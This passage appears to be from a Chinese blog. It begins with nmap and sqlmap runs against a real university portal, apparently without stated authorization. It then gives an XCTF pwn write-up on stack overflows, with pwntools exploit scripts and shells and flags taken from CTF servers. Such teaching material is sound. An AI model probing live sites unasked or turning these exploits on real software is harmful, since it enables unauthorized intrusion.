Nmap scan report for ehall.xidian.edu.cn (61.150.43.100)
Host is up (0.027s latency).

PORT STATE SERVICE
80/tcp open http
443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 6.28 seconds

没有检测出来

sqlmap

1
2
3
4
5
┌──(root㉿Executor)-[/home/kali]
└─# sqlmap -u http://ehall.xidian.edu.cn/ --batch
...
[09:43:12] [CRITICAL] WAF/IPS identified as 'WTS'
...

信息收集总结

image-20220605095016581
image-20220605095048717
image-20220605095108752
image-20220605095126687
image-20220605095133730

xctf攻防世界-pwn-新手村

image-20220603161727708

000新手村准备

栈缓冲区溢出原理

一些C语言函数在获取输入到缓冲区时不关心缓冲区大小和输入长度,只要有输入就一直往缓冲区写入数据,如果往一个只能容纳两个字符的缓冲区写入三个字符就会导致缓冲区溢出

比如这么一个程序

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
void func(){
char s[2];
char a='a';
gets(s);
printf("%c",a);
return;
}

int main(){
func();
return 0;
}

使用gcc main.c -fno-stack-protector -O0 -o main -g编译

-fno-stack-protector不使用栈保护者(比如金丝雀)

-O0不使用编译优化

-g生成gdb调试信息,即创建.debug

-o main编译链接生成的程序改名为main

此时会报一个编译警告

1
warning: the `gets' function is dangerous and should not be used.

为什么说gets函数是危险的?因为他没有对输入的字符数和缓冲区大小进行检查,

使用checksec命令观察该程序使用的保护措施,发现No canary found即没有使用金丝雀

image-20220511100355390

首先使用ida64打开程序观察一下func函数的栈帧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
-0000000000000010
-0000000000000010 db ? ; undefined ;后面开出的这一些是为了栈16字节对齐
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 s db 2 dup(?)
-0000000000000001 a db ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

返回地址在rbp+0x8,

char arbp-0x1

char s[2] 数组在rbp-0x3

栈是从高地址向低地址增长的,然后站内的局部变量是从低地址向高地址增长的,即如果输入s,第一个字符会放在rbp-0x3,第二个字符会放在rbp-0x2,此时缓冲区用完了,如果有第三个字符,则放在0x01而这里恰好是a变量的地址,因此如果输入2个以上字符则会破坏a变量

注意这里char s[2]中的2关键,它就限制了s数组的大小是2字节.

char buffer[]="123456"和char buffer[10]="123456"两者的区别就是

前者buffer根据"123456"确定为6个字节,而后者buffer固定为10字节

缓冲区长度固定很重要,使我们可以计算缓冲区和返回地址的距离

为了验证这个事情,我们用gdb调试器调试

image-20220511091428527

在第七行和第八行分别下断点,运行之后程序停在第七行然后continue,接下来输入bcd作为gets的输入,按下enter之后程序停在第八行

此时print a发现a的值已经变成了d

如果没有开启金丝雀保护,那么再使使劲输入点东西,可以溢出改变返回地址

防御措施

金丝雀canary

同样的程序使用gcc main.c -Og -o main -g编译链接,相对于刚才的编译选项,这次没有-fno-stack-protector,默认使用栈保护者金丝雀

这次再使用checksec命令查看保护措施,发现Canary found即有金丝雀保护

image-20220511100510166

用ida64查看反汇编,相对于没有金丝雀保护的程序,func函数这次多了一些东西

func

1
2
3
4
5
6
7
8
9
10
11
12
13
...;开端

.text:0000000000001192 mov ebx, 28h ; '('
.text:0000000000001197 mov rax, fs:[rbx] ;fs段寄存器,偏移量28h处的一个四字搬进rax
.text:000000000000119B mov [rsp+18h+var_10], rax ;rax再搬进栈上var_10

...;主要逻辑,中途rbx寄存器值不变

.text:00000000000011B6 mov rax, [rsp+18h+var_10] ;栈上var_10搬出来给rax
.text:00000000000011BB xor rax, fs:[rbx] ;fs:[rbx]取出来和rax作比较
.text:00000000000011BF jnz short loc_11C7 ;两者相同则说明var_10没有被修改过,否则溢出

...尾声

loc_11C7

1
2
3
4
5
.text:00000000000011C7 loc_11C7:                               ; CODE XREF: func+36↑j
.text:00000000000011C7 call ___stack_chk_fail ;报告错误
.text:00000000000011C7 ; } // starts at 1189
.text:00000000000011C7 func endp
.text:00000000000011C7

下面我们用gdb调试器动态观察一下.text:0000000000001197 mov rax, fs:[rbx]发生后,rax中存放的是什么

首先使用gcc main.c -O0 -S得到main.s然后使用gcc -g main.s -o main得到main

然后gdb -tui -q main对汇编代码进行调试

image-20220511110203468

如果此时我们输入3个以上字符然后继续执行

image-20220511110350341

再从栈中取出-8(%rbp)到rax中时,值已经被改变

异或运算之后打印eflag寄存器观察ZF标志位

1
eflags         0x206               [ PF IF ]

发现ZF为0即刚才运算结果不为0,不会跳转je .L3,而是顺序执行call __stack_chk_fail@PLT

每次运行程序的时候fs:28h上的值都不同,即通过猜测金丝雀值进行绕过也是不太可能的

PIE

PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题

如果不使用PIE保护则每次进程的虚拟地址空间都是不变的

比如main.c

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>

void func(){
printf("%p",&func);
}

int main(){
func();
return 0;
}

开启PIE保护时

低12个二进制位不变但是高位会变

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE]
└─# gcc main.c -o main

┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE]
└─# ./main
0x55eebe8f7139
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE]
└─# ./main
0x561135f2c139
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE]
└─# ./main
0x556dca0ef139

不开启PIE保护时

1
2
3
4
5
6
7
8
9
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE]
└─# gcc -fno-stack-protector -no-pie main.c -o main

┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE]
└─# ./main
0x401126
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE]
└─# ./main
0x401126

func的地址就恒为0x401126不变了

001level0

ret2text(return to text)返回.text节的函数

目的是getshell,

1
2
3
root@Executor:/mnt/c/Users/86135/Desktop/pwn/level0# checksec --file=level0
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 69 Symbols No 0 1 level0

只有一个NX保护,没有金丝雀保护

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL); //系统调用,向标准输出 输出"Hello,World\n",最多输出0xD=13个字符
return vulnerable_function(); //返回vulnerable_function的返回值
}

这个函数就直接叫vulnerable_function生怕人家不知道他虚

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF //128字节的缓冲区

return read(0, buf, 0x200uLL); //系统调用,从标准输入获取至多0x200=512字节,写入buf缓冲区
}

可以看到read(0, buf, 0x200uLL);可以获取比缓冲区大很多的输入,这里存在栈缓冲区溢出,那么怎么利用呢

如果使用ret2text的方法,只需要再在.text节找一个能够执行shell的函数,然后将其开始溢出到vulnerable_function函数的栈返回值位置

vulnerable_function的栈帧:

1
2
3
4
5
-0000000000000080 buf             db 128 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

前128+8个字符无用,第136个字符开始的八个字节存放的是该函数的返回地址

考虑ret2text方法,找一下有没有text节中可以调用shell的函数,可以通过ctrl+1然后观察Strings视图

image-20220511160139521

发现有这么一个/bin/sh也是shell的一种,双击观察

image-20220511160213620

从交叉引用注释发现'/bin/sh'被callsystem函数调用,双击该交叉引用跳转到该函数

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:0000000000400596 ; Attributes: bp-based frame	
.text:0000000000400596
.text:0000000000400596 public callsystem
.text:0000000000400596 callsystem proc near
.text:0000000000400596 ; __unwind {
.text:0000000000400596 push rbp
.text:0000000000400597 mov rbp, rsp
.text:000000000040059A mov edi, offset command ; "/bin/sh" ;/bin/sh作为参数压栈
.text:000000000040059F call _system ;调用system()函数,执行shell命令
.text:00000000004005A4 pop rbp
.text:00000000004005A5 retn
.text:00000000004005A5 ; } // starts at 400596
.text:00000000004005A5 callsystem endp

该函数就干了一件事system("/bin/sh"),该函数起始地址0x400596

可笑的是,主函数相关的调用链上并没有该函数,即该函数写了白写并且还能和栈缓冲区溢出一起成为内鬼

下面需要做到就是在vulnerable_function中read获取输入的时候将前136个字符乱写一气,然后接下来的八个字节写入0x400596,当vulnerable_function返回时,程序计数器PC获取其栈中保存的返回地址从0x400596callsystem函数的起始位置开始执行,诚如是,则shell得矣

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#连接到111.200.241.244:58761
sh=remote('111.200.241.244','58761')

#构造负载,前0x88个字符随便写,不妨都写'a',接下来八个字节要写0x00 40 05 96,而这显然不是ASCII码 可打印字符 能办到的
payload=('a'*0x88).encode()+p64(0x400596)

#向远程主机发送payload
sh.sendline( payload )

#建立交互式shell
sh.interactive()

p64函数干了啥?package 64位

1
2
>>> p64(0x400596)
b'\x96\x05@\x00\x00\x00\x00\x00'

将参数按照小端模式转化成有8个字符的字符串,其中可打印的ascii字符比如@就直接用字符表示,否则用\x XX这种形式表示

p32函数会干啥?

1
2
>>> p32(0x400596)
b'\x96\x05@\x00'

将参数按照小端模式转化成有4个字符的字符串,其中可打印的ascii字符比如@就直接用字符表示,否则用\x XX这种形式表示

本题使用p32(0x400596)是不可以的,因为如此打包则只会认为0x88之后只输入了4个字符,那么溢出会挤掉vulnerable_function函数一开始存放返回地址的低位前四个字节,不能保证后面高位四个字节都是0

p64(0x400596)之后高四字节直接置0,保证返回到callsystem函数

用kali或者ubuntu执行exp.py

python3 exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[+] Opening connection to 111.200.241.244 on port 58761: Done
[*] Switching to interactive mode
Hello, World
$ ls
bin
dev
flag
level0
lib
lib32
lib64
$ cat flag
cyberpeace{8efeda8a14caa49a15f88847757ca2d0}
$

002level2

本题需要非常熟悉x86-64汇编语言的函数调用过程,能够改变栈顶指针的指令,

能够改变栈顶指针的指令有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
I.sub/add	显式改变栈顶指针esp

II.push/pop 压栈退栈,以4字节为单元

III.leave 函数最后释放自己局部变量的栈空间

IV.call/retn
假设P中call Q 1.把P中call Q的下面一条指令压栈,2.Q->eip即设置程序计数器
一定要注意,在改变程序计数器之前是有一个压栈保存返回地址的

在刚进入Q函数时,栈顶还是指向返回地址的,
然后对于_cdecl调用约定,会有esp压栈保存,
然后才是Q函数的局部变量的栈空间
而Q函数参数的栈空间是在P函数中分配的
1
2
3
4
5
6
7
PS C:\Users\86135\Desktop\pwn\level2> checksec --file=level2
[*] 'C:\\Users\\86135\\Desktop\\pwn\\level2\\level2'
Arch: i386-32-little ;32位程序
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

直接看反汇编

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}

32位_cdecl调用约定下,传参不使用寄存器,只使用栈传参,

上述两点使得通过栈缓冲区溢出自己设置参数成为可能

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

system("echo Input:");
return read(0, buf, 0x100u);
}

vulnerable_function函数栈帧

1
2
3
4
5
-00000088 buf             db 136 dup(?)
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables

根据level0的思路,前140个字节胡乱输入,接下来4个字节写一个可以getshell的函数地址,下面就去找一个这样的函数

先看一下Strings里面有没有/bin/sh类似字样

确实找到一个,但是没有交叉引用,即没有任何函数使用它

1
.data:0804A024 hint            db '/bin/sh',0

如果想要获取shell,需要有system('/bin/sh')这种函数调用

因此需要在level0的思路上修改一下,构造一个system('/bin/sh')这种函数调用

上述函数调用,其汇编指令应为

1
2
push offset cmd		;cmd为'/bin/sh'的地址
call system

vulnerable_function函数首先执行一个system函数然后执行read,然后返回

显然地址我们可以使用溢出修改成调用system函数的地址

1
.text:0804845C                 call    _system

在此之前,需要保证栈顶放好了'/bin/sh'的地址.data:0804A024 hint db '/bin/sh',0

那么需要精确的计算出栈顶此时的位置(esp栈顶指针与ebp帧指针的距离)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0804844B                 push    ebp
.text:0804844C mov ebp, esp ;esp=ebp=0,ebp在本函数中永远不会变化
.text:0804844E sub esp, 88h ; buf ;esp=-0x88
.text:08048454 sub esp, 0Ch ;esp=-0x94
.text:08048457 push offset command ; "echo Input:" ;esp=-0x98
.text:0804845C call _system ;esp=-0x98->-0x9C->-0x98
.text:08048461 add esp, 10h ;esp=-0x88
.text:08048464 sub esp, 4 ;esp=-0x8C
.text:08048467 push 100h ; nbytes ;esp=-0x90
.text:0804846C lea eax, [ebp+buf]
.text:08048472 push eax ; buf ;esp=-0x94
.text:08048473 push 0 ; fd ;esp=-0x98
.text:08048475 call _read ;esp=-0x98->-0x9C->-0x98
.text:0804847A add esp, 10h ;esp=-0x88
.text:0804847D nop
.text:0804847E leave
.text:0804847F retn ;从rbp+4位置退出

vulnerable_function执行.text:0804847E leave之前,栈顶指针相对于帧指针位于-0x88位置恰为buf的起始位置,然后leave的作用是

1
2
mov esp,ebp																;esp=0
pop ebp ;esp=+4

然后执行retn,相当于pop eip将本应该是正常返回的地址值交给程序计数器eip,然后程序跳转到该位置(system函数的地址)继续执行

考虑'/bin/sh'的地址作为system参数应该放在那里呢?

当eip中的指令被执行时,参数是此时的栈顶,即esp=+8的位置,这个位置不在vulnerable_function函数栈中,而是在他的调用者main中,但是eip修改之后从vulnerable_function不能返回到main,那么此时栈帧对于main函数来说就无意义了,此时的栈帧可以被任何函数利用

整个过程用表格表示为

image-20220511210551512

综上,esp∈[ebp-0x88,ebp+0x4)0x8C个字节随便写,然后[ebp+0x4,ebp+0x8)写system函数地址,[ebp+0x8,ebp+0xC)写system的参数地址

ebp+x,x越大越靠近栈底,这里system在[ebp+0x4,ebp+0x8),其参数在[ebp+0x8,ebp+0xC),参数相对函数地址是更早的,即更靠近栈底的

exp

本地测试

1
2
3
4
5
6
7
8
9
10
from pwn import *

sh=process('./level2')

payload=('a'*0x8C).encode()+p32(0x0804845C)+p32(0x0804A024);
//前0x8C随便写 + system地址 +参数地址
sh.sendline( payload )

sh.interactive()

运行结果:

1
2
3
4
5
6
7
8
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level2]
└─$ python3 exp.py
[+] Starting local process './level2': pid 72
[*] Switching to interactive mode
Input:
$ whoami
kali
$

连接靶机

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

# sh=process('./level2')

sh=remote('111.200.241.244','53153') ;连接到攻防世界靶机

payload=('a'*0x8C).encode()+p32(0x0804845C)+p32(0x0804A024);

sh.sendline( payload )

sh.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level2]
└─$ python3 exp.py
[+] Opening connection to 111.200.241.244 on port 53153: Done
[*] Switching to interactive mode
Input:
$ ls
bin
dev
flag
level2
lib
lib32
lib64
$ cat flag
cyberpeace{37be55c2ba683c43f9410e5e7400e59d}

003guess_num(栈缓冲区溢出改变随机数种子)

1
2
3
4
5
6
7
PS C:\Users\86135\Desktop\pwn\guess_num> checksec guess_num
[*] 'C:\\Users\\86135\\Desktop\\pwn\\guess_num\\guess_num'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-3Ch] BYREF
int i; // [rsp+8h] [rbp-38h]
int v6; // [rsp+Ch] [rbp-34h]
char v7[32]; // [rsp+10h] [rbp-30h] BYREF
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]

v9 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v4 = 0;
v6 = 0;
*(_QWORD *)seed = sub_BB0(); //生成随机数种子
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(v7); //v7缓冲区长32字节,这里可以溢出
srand(seed[0]);
for ( i = 0; i <= 9; ++i ) //猜数游戏一共需要 玩九次
{
v6 = rand() % 6 + 1; //v6∈[1,6]
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4); //无法溢出
puts("---------------------------------");
if ( v4 != v6 ) //每次成功都需要v4=v6
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E(); //cat flag
return 0LL;
}

main函数的栈帧

1
2
3
4
5
6
7
8
9
10
-000000000000003C var_3C          dd ?					;v4
-0000000000000038 var_38 dd ? ;i
-0000000000000034 var_34 dd ? ;v6
-0000000000000030 var_30 db 32 dup(?) ;v7缓冲区
-0000000000000010 seed dd 2 dup(?)
-0000000000000008 var_8 dq ? ;v9
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

从栈帧布局上看,v7溢出无法修改v6,i,v4,只能溢出高地址的seed,var_8,s,r

这里只需要溢出到seed,把它改成0

当随机数种子为0时,其生成的伪随机数序列是固定的

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
int seed = 0;
srand(seed);
for (int i = 0; i <= 9; ++i) {
printf("%d ",rand()%6+1);
}
return 0;
}

在windows上的运行结果:

1
3  4  5  2  6  2  2  6  5  1

在linux上的运行结果

1
2  5  4  2  6  2  5  1  4  2 

[ebp-30h,ebp-10h)随便写,[ebp-10h,ebp-8h)溢出成0

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

# sh=process('./guess_num')
sh=remote('111.200.241.244','61574')

sh.recvuntil('Your name:')

payload='A'*0x20+p64(0).decode('unicode_escape')

sh.sendline(payload)

# sh.recvuntil('Please input your guess number:')
sh.sendline('2')

# sh.recvuntil('Please input your guess number:')
sh.sendline('5')

# sh.recvuntil('Please input your guess number:')
sh.sendline('4')

# sh.recvuntil('Please input your guess number:')
sh.sendline('2')

# sh.recvuntil('Please input your guess number:')
sh.sendline('6')

# sh.recvuntil('Please input your guess number:')
sh.sendline('2')

# sh.recvuntil('Please input your guess number:')
sh.sendline('5')

# sh.recvuntil('Please input your guess number:')
sh.sendline('1')

# sh.recvuntil('Please input your guess number:')
sh.sendline('4')

# sh.recvuntil('Please input your guess number:')
sh.sendline('2')

sh.interactive()

运行结果:

1
2
3
Success!
You are a prophet!
Here is your flag!cyberpeace{60097ace8e8ecc14e7efb47bab0d5ef1}

004int_overflow(栈缓冲区溢出改变栈中整数)

1
2
3
4
5
6
7
PS C:\Users\86135\Desktop\pwn\int_overflow> checksec int_overflow
[*] 'C:\\Users\\86135\\Desktop\\pwn\\int_overflow\\int_overflow'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

直接看String视图,发现有一个

image-20220519232804685

.rodata:08048960 command db 'cat flag',0 ; DATA XREF: what_is_this+9↑o

交叉引用上表明这个字符串出现在what_is_this

1
2
3
4
int what_is_this()
{
return system("cat flag");
}

然而Function calls视图上没有任何函数调用该函数,看来需要栈溢出修改函数返回地址调用了

login()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int login()
{
char buf[512]; // [esp+0h] [ebp-228h] BYREF
char s[40]; // [esp+200h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
memset(buf, 0, sizeof(buf));
puts("Please input your username:");
read(0, s, 0x19u);//s缓冲区大小40字节,这里限制最大读入0x19<40,不会溢出
printf("Hello %s\n", s);
puts("Please input your passwd:");
read(0, buf, 0x199u);//buf大小为512字节,这里限定读入不超过0x199<512,不会溢出
return check_passwd(buf);
}

check_passwd(buf)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h] //注意v3长度为8位,一个字节,能表示[0,255]范围的非负整数

v3 = strlen(s); //strlen返回值可以长于8位,因此会发生溢出
if ( v3 <= 3u || v3 > 8u ) //要求v3长度在[4,8]之间
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else//需要通过溢出使得前面对v3的限制通过,然后将what_is_this的地址溢出到返回地址
{
puts("Success");
fflush(stdout);
result = strcpy(dest, s);//将s拷贝到dest,s最长0x199字节,而dest最长11字节,显然可以溢出
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-00000018                 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 dest db 11 dup(?)
-00000009 var_9 db ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 s dd ? ; offset
+0000000C
+0000000C ; end of stack variables

\[ dest\in [ebp-14h,ebp-9h) \]

溢出时[ebp-0x14h,ebp+0x3h]共24字节用任意字符填空

[ebp+4,ebp+7]填上返回值地址0x804868B

1
payload='A'*24+p32(0x804868B).decode('unicode_escape')

还要考虑如何通过if ( v3 <= 3u || v3 > 8u )

unsigned char a=256则实际上a=0

unsigned char a=260则实际上a=4

unsigned char a=264则实际上a=8

对256取模

那么v3 = strlen(s);这里s的长度应该在260到264之间

刚才payload中已经构造出了20个字符,还需要再填充240个字符

1
payload='A'*24+p32(0x804868B).decode('unicode_escape')+'A'*232

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

# sh=process('./int_overflow')

sh=remote('111.200.241.244','60842')

sh.recvuntil('Your choice:')

sh.sendline('1')

sh.recvuntil('Please input your username:')

sh.sendline('vader')

sh.recvuntil('Please input your passwd:')

payload='A'*24+p32(0x804868B).decode('unicode_escape')+'A'*232

sh.sendline(payload)

sh.interactive()

1
2
Success
cyberpeace{d28ca52ce20608a03519e5fcbd79b1b5}

005cgpwn2(ret2text)

反汇编分析

main()->hello()

1
2
3
4
5
6
7
8
char *hello()
{
...//前面运算了一堆,没有用
puts("please tell me your name");
fgets(name, 50, stdin); //输入姓名,无用之用,方为大用
puts("hello,you can leave some message here:");
return gets((char *)&s);//gets(s)可以实现栈缓冲区溢出
}

pwn()

1
2
3
4
int pwn()
{
return system("echo hehehe");
}

这有一个没有被调用过的函数,pwn(),它使用了system调用shell.

然而它打印的这句话"echo hehehe"是在rodata只读区的,没法溢出修改.

但是pwn不是一无是处,起码有一个可以调用system的地址0x08048420

1
2
3
4
5
.text:0804855A                 call    _system

.plt:08048420 jmp ds:off_804A01C
.plt:08048420 _system endp
.plt:08048420

如果可以修改hello的返回值为0x0804855A,并将期望的命令比如/bin/sh放在栈顶,如此也可以获得shell

下面考虑如何利用return gets((char *)&s);实现栈缓冲区溢出

考虑栈缓冲区溢出

hello函数的栈帧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
-00000038                 db ? ; undefined		;从ebp-39到ebp-9为局部变量栈帧
...
-00000026 s dw ?
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C db ? ; undefined
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C db ? ; undefined
-0000000B db ? ; undefined
-0000000A db ? ; undefined
-00000009 db ? ; undefined ;从ebp-39到ebp-9为局部变量栈帧

-00000008 db ? ; undefined ;ebx被调用者保存位置
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined ;ebx结束

-00000004 db ? ; undefined ;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束

+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables

开端和尾声 每条指令执行后的栈帧情况分析

开端:
1..text:0804864C call hello ;

call之后hello的栈帧

1
2
3
+00000004  r              db 4 dup(?)
+00000008
+00000008 ; end of stack variables

这里有一个问题,32位系统上返回值可以用4字节一个int表示,为什么这条call指令要压8字节的栈?

并且将返回值放在低4字节,高四字节全放0?

写了好多程序编译成32位的然后用ida观察都是如此,高四字节都是0.

搜了半天也没找到一个靠谱的答案,pending...

2..text:08048562 push ebp ;ebp压栈,占用4字节
1
2
3
4
+00000000  s              db 4 dup(?)			;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
3..text:08048565 push esi ;esi压栈,被调用者保存寄存器
1
2
3
4
5
6
7
8
9
-00000004                 db ? ; undefined		;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束

+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
4..text:08048566 push ebx ;ebx压栈,被调用者保存寄存器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
-00000008                 db ? ; undefined		;ebx被调用者保存位置
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined ;ebx结束

-00000004 db ? ; undefined ;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束

+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
5..text:08048567 sub esp, 30h ;为局部变量开30h字节的栈空间
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
-00000038                 db ? ; undefined		;从ebp-39到ebp-9为局部变量栈帧
...
-00000026 s dw ?
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C db ? ; undefined
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C db ? ; undefined
-0000000B db ? ; undefined
-0000000A db ? ; undefined
-00000009 db ? ; undefined ;从ebp-39到ebp-9为局部变量栈帧

-00000008 db ? ; undefined ;ebx被调用者保存位置
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined ;ebx结束

-00000004 db ? ; undefined ;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束

+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
尾声
1..text:080485FD add esp, 30h ;开端时也是sub esp,30h 这是局部变量的空间,溢出成任意字符填空
1
2
3
4
5
6
7
8
9
10
11
12
13
14
-00000008                 db ? ; undefined		;ebx被调用者保存位置
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined ;ebx结束

-00000004 db ? ; undefined ;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束

+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
2..text:08048600 pop ebx ;被调用者保存寄存器,ebx
1
2
3
4
5
6
7
8
9
-00000004                 db ? ; undefined		;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束

